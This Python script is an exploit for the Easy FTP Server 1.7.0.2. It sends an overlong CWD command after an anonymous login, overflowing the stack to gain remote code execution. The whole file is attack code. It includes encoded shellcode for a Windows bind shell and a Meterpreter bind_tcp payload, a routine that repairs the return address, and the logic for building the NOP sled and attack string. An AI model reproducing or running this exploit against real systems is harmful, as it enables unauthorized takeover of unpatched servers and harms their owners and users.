#!/usr/bin/env python # RCE for Easy FTP Server 1.7.0.2 w/ RET overwrite # app @ http://code.google.com/p/easyftpsvr/ # Copyright 2010 Paul Makowski, GPLv2 # explanation of technique: http://wp.me/pBV1X-3Q # based on: http://seclists.org/bugtraq/2010/Feb/202 # version 0.1 import socket from sys import exit from optparse import OptionParser parser = OptionParser() parser.add_option("-t", "--target", dest="target", metavar="TARGET", type="string", help="target IP address") parser.add_option("-p", "--port", dest="port", metavar="PORT", type="string", help="target port") (options, args) = parser.parse_args() if not options.target: parser.error("Target unspecified.") if not options.port: options.port = 21 # -- # s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect = s.connect((options.target, int(options.port))) print "[+] connected" except: print "[-] connection failed" exit(1) # get to vulnerable code (post auth, defaults allow anon login) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS anonymous\r\n") s.recv(1024) ### fixRet ### # ret is located @ 0x009afe64 & needs to be replaced with part of our payload (or NOPs) fixRet = ( "\x31\xc0" + # xor %eax,%eax "\x31\xdb" + # xor %ebx,%ebx "\x31\xc9" + # xor %ecx,%ecx "\xb8\xce\x54\x30\xaa" + # mov $0xaa3054ce,%eax "\xbb\xaa\xaa\xaa\xaa" + # mov $0xaaaaaaaa,%ebx "\x31\xd8" + # xor %ebx,%eax (now %eax should hold 0x009AFE64) #"\xb9\x90\x90\x90\x90" + # mov $0x90909090,%ecx (use this if your payload <= 233 bytes) #"\xb9\x1a\x29\xeb\x0e" + # mov $0xeeb291a,%ecx (4 bytes of bind_tcp payload to overwrite RET with) "\xb9\x5f\xe4\xe0\xae" + # mov $0xaee0e45f,%ecx (4 bytes of meterpreter_bind_tcp payload to overwrite RET with) "\x89\x08" ) # mov %ecx,(%eax) ### payloads ### # $ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff" # [*] x86/shikata_ga_nai succeeded with size 369 (iteration=1) bind_tcp = ( # this will go before the RET location "\x33\xc9\xb1\x56\xd9\xf6\xd9\x74\x24\xf4\xbb\xcb\xf4\x35" + "\xcb\x58\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\x29\x01\xc9" + "\x23\x24\xea\x32\xb4\x56\x62\xd7\x85\x44\x10\x93\xb4\x58" + "\x52\xf1\x34\x13\x36\xe2\xcf\x51\x9f\x05\x67\xdf\xf9\x28" + "\x78\xee\xc5\xe7\xba\x71\xba\xf5\xee\x51\x83\x35\xe3\x90" + "\xc4\x28\x0c\xc0\x9d\x27\xbf\xf4\xaa\x7a\x7c\xf5\x7c\xf1" + "\x3c\x8d\xf9\xc6\xc9\x27\x03\x17\x61\x3c\x4b\x8f\x09\x1a" + "\x6c\xae\xde\x79\x50\xf9\x6b\x49\x22\xf8\xbd\x80\xcb\xca" + "\x81\x4e\xf2\xe2\x0f\x8f\x32\xc4\xef\xfa\x48\x36\x8d\xfc" + "\x8a\x44\x49\x89\x0e\xee" + # these 4 bytes will be written over RET by fixRet "\x1a\x29\xeb\x0e" + # this will go after the RET location "\xce\xaf\x78\x1c" + "\xbb\xa4\x27\x01\x3a\x69\x5c\x3d\xb7\x8c\xb3\xb7\x83\xaa" + "\x17\x93\x50\xd3\x0e\x79\x36\xec\x51\x25\xe7\x48\x19\xc4" + "\xfc\xea\x40\x81\x31\xc0\x7a\x51\x5e\x53\x08\x63\xc1\xcf" + "\x86\xcf\x8a\xc9\x51\x2f\xa1\xad\xce\xce\x4a\xcd\xc7\x14" + "\x1e\x9d\x7f\xbc\x1f\x76\x80\x41\xca\xd8\xd0\xed\xa5\x98" + "\x80\x4d\x16\x70\xcb\x41\x49\x60\xf4\x8b\xfc\xa7\x3a\xef" + "\xac\x4f\x3f\x0f\x42\xd3\xb6\xe9\x0e\xfb\x9e\xa2\xa6\x39" + "\xc5\x7a\x50\x42\x2f\xd7\xc9\xd4\x67\x31\xcd\xdb\x77\x17" + "\x7d\x70\xdf\xf0\xf6\x9a\xe4\xe1\x08\xb7\x4c\x6b\x31\x5f" + "\x06\x05\xf3\xfe\x17\x0c\x63\x63\x85\xcb\x74\xea\xb6\x43" + "\x22\xbb\x09\x9a\xa6\x51\x33\x34\xd5\xa8\xa5\x7f\x5d\x76" + "\x16\x81\x5f\xfb\x22\xa5\x4f\xc5\xab\xe1\x3b\x99\xfd\xbf" + "\x95\x5f\x54\x0e\x4c\x09\x0b\xd8\x18\xcc\x67\xdb\x5e\xd1" + "\xad\xad\xbf\x63\x18\xe8\xc0\x4b\xcc\xfc\xb9\xb6\x6c\x02" + "\x10\x73\x9c\x49\x39\xd5\x35\x14\xab\x64\x58\xa7\x01\xaa" + "\x65\x24\xa0\x52\x92\x34\xc1\x57\xde\xf2\x39\x25\x4f\x97" + "\x3d\x9a\x70\xb2\x34" ) # $ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff\x2f\x5c" # [*] x86/shikata_ga_nai succeeded with size 326 (iteration=1) meterpreter_bind_tcp = ( # this will go before the RET location "\xbf\xdd\x9f\x97\x4f\x29\xc9\xb1\x4b\xda\xc2\xd9\x74\x24" + "\xf4\x5d\x31\x7d\x11\x03\x7d\x11\x83\xed\xfc\xe2\x28\x63" + "\x7f\xc6\xd2\x9c\x80\xb9\x5b\x79\xb1\xeb\x3f\x09\xe0\x3b" + "\x34\x5f\x09\xb7\x18\x74\x9a\xb5\xb4\x7b\x2b\x73\xe2\xb2" + "\xac\xb5\x2a\x18\x6e\xd7\xd6\x63\xa3\x37\xe7\xab\xb6\x36" + "\x20\xd1\x39\x6a\xf9\x9d\xe8\x9b\x8e\xe0\x30\x9d\x40\x6f" + "\x08\xe5\xe5\xb0\xfd" # these 4 bytes will be written over RET by fixRet "\x5f\xe4\xe0\xae" + # this will go after the RET location "\xd4\xae\x18\xc4\xb3" + "\x0e\x18\x09\xa0\x72\x53\x26\x13\x01\x62\xee\x6d\xea\x54" + "\xce\x22\xd5\x58\xc3\x3b\x12\x5e\x3c\x4e\x68\x9c\xc1\x49" + "\xab\xde\x1d\xdf\x29\x78\xd5\x47\x89\x78\x3a\x11\x5a\x76" + "\xf7\x55\x04\x9b\x06\xb9\x3f\xa7\x83\x3c\xef\x21\xd7\x1a" + "\x2b\x69\x83\x03\x6a\xd7\x62\x3b\x6c\xbf\xdb\x99\xe7\x52" + "\x0f\x9b\xaa\x3a\xfc\x96\x54\xbb\x6a\xa0\x27\x89\x35\x1a" + "\xaf\xa1\xbe\x84\x28\xc5\x94\x71\xa6\x38\x17\x82\xef\xfe" + "\x43\xd2\x87\xd7\xeb\xb9\x57\xd7\x39\x6d\x07\x77\x92\xce" + "\xf7\x37\x42\xa7\x1d\xb8\xbd\xd7\x1e\x12\xd6\x29\x3b\xce" + "\xb1\x4b\xbb\xe0\x1d\xc5\x5d\x68\x8e\x83\xf6\x05\x6c\xf0" + "\xcf\xb2\x8f\xd2\x7c\x6a\x18\x6a\x6b\xac\x27\x6b\xbe\x9e" + "\x84\xc3\x28\x55\xc7\xd7\x49\x6a\xc2\x7f\x1e\xfd\x98\x11" + "\x6d\x9f\x9d\x3b\x07\x5f\x08\xc0\x81\x08\xa4\xca\xf4\x7f" + "\x6b\x34\xd3\x0b\xa2\xa0\x9b\x63\xcb\x24\x1b\x74\x9d\x2e" + "\x1b\x1c\x79\x0b\x48\x39\x86\x86\xfd\x92\x13\x29\x57\x46" + "\xb3\x41\x55\xb1\xf3\xcd\xa6\x94\x05\x31\x71\xd1\x83\x43" + "\xf4\x31\x48\xa1" ) #-----------------------attack string------------------------ # retFix | nopsled | payload, part 1 | ret | payload, part 2 #------------------------------------------------------------ print "[*] building attack string" ret = "\x58\xFD\x9A\x00" # 0x009AFD58; taken beforeRetSize = 268 afterRetSize = 233 payload = meterpreter_bind_tcp # switch this to bind_tcp if you wish to use this payload # put retFix in our attack string attackString = fixRet print "\t[*] added fixRet function; attackString is " + str(len(attackString)) + " bytes long" # append enough NOPs to hit either the beginning of the payload or the location of ret if len(payload) <= afterRetSize + 4: # payload will not occupy any space before ret attackString += "\x90" * (beforeRetSize - len(fixRet)) print "\t[*] payload fits beyond RET location; added a NOP sled to RET location; attackString is " + str(len(attackString)) + " bytes long" else: # payload will occupy space before ret attackString += "\x90" * (beforeRetSize - len(fixRet) - (len(payload) - afterRetSize - 4)) print "\t[*] payload doesn't fit beyond RET location; adding a NOP sled to first part of payload; attackString is " + str(len(attackString)) + " bytes long" # if the payload will not fit beyond the ret, some needs to be written before the ret attackString += payload[:len(payload) - afterRetSize - 4] print "\t[*] added first part of payload; attackString is " + str(len(attackString)) + " bytes long" # the ret attackString += ret print "\t[*] added RET value; attackString is " + str(len(attackString)) + " bytes long" # append enough NOPs to hit the payload (only if payload is smaller than afterRetSize) if len(payload) <= afterRetSize: attackString += "\x90" * afterRetSize - len(payload) + payload print "\t[*] payload fits beyond RET location; added a NOP sled and payload; attackString is " + str(len(attackString)) + " bytes long" else: attackString += payload[len(payload) - afterRetSize:] print "\t[*] payload doesn't fit beyond RET location; adding second part of payload; attackString is " + str(len(attackString)) + " bytes long" ### exploit ### # at this point, attackString should be 505 bytes long print "[*] sending attack string..." s.send('CWD ' + attackString + '\r\n') print "[+] attach string sent. payload should have executed." s.close()